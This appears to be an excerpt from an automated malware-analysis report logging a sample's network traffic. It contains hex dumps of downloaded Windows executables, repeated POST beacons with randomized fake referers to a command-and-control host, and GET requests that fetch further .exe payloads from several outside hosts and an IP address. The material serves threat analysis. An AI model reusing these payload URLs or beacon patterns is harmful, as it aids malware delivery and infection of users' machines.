Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:02 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:07 GMTContent-Type: application/x-msdos-programContent-Length: 557664Connection: closeLast-Modified: Thu, 13 Jan 2022 19:20:04 GMTETag: "88260-5d57b92d7ebed"Accept-Ranges: bytesData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d6 ad 35 ab 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 24 03 00 00 2a 03 00 00 00 00 00 00 b0 06 00 00 20 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 08 00 00 04 00 00 1c 40 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 03 00 e4 01 00 00 00 80 03 00 50 29 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 69 64 61 74 61 00 00 00 60 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 29 03 00 00 80 03 00 30 06 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 61 00 00 80 01 00 00 b0 06 00 fc 78 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 08:26:10 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:58 GMTETag: "61d8c846-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rftojqy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oeicpl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gmlcwn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pmxge.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 292Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://klnnrs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 120Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sqgycmxrcw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 127Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ordgyi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gdpbobblv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9030_1641816409_7037.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ojnph.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qnhvcpx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukmdaxlu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 352Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cocugqsn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bcdqnjq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quobomy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfkcwyd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lhmfcrnoc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rwnoc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hyhfejnsaf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 139Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yupkrg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xasgjbpj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dlsrcuywsx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ygpvsdtxwa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ctudyypa.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fnqfdlb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 316Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qernbnk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 211Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lymetcvj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dwyid.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rtyuw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 206Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iymvh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 259Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aujnrph.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 126Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qjfqvve.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://betkhbcokn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 300Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://buvim.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tuwgresxff.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://esfdrx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gimbqwejt.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 198Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vqkgjg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qfojwny.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 335Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jypmxggbe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bopkt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcosdqvkc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vpvuvi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xchjuwapl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcgcly.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xhcmjwqukh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 336Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tbwkdtvra.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://unlkmoivsp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://buyqsohhho.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lmtmt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://guadmgqcy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aaxrubcof.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: host-data-coin-11.com
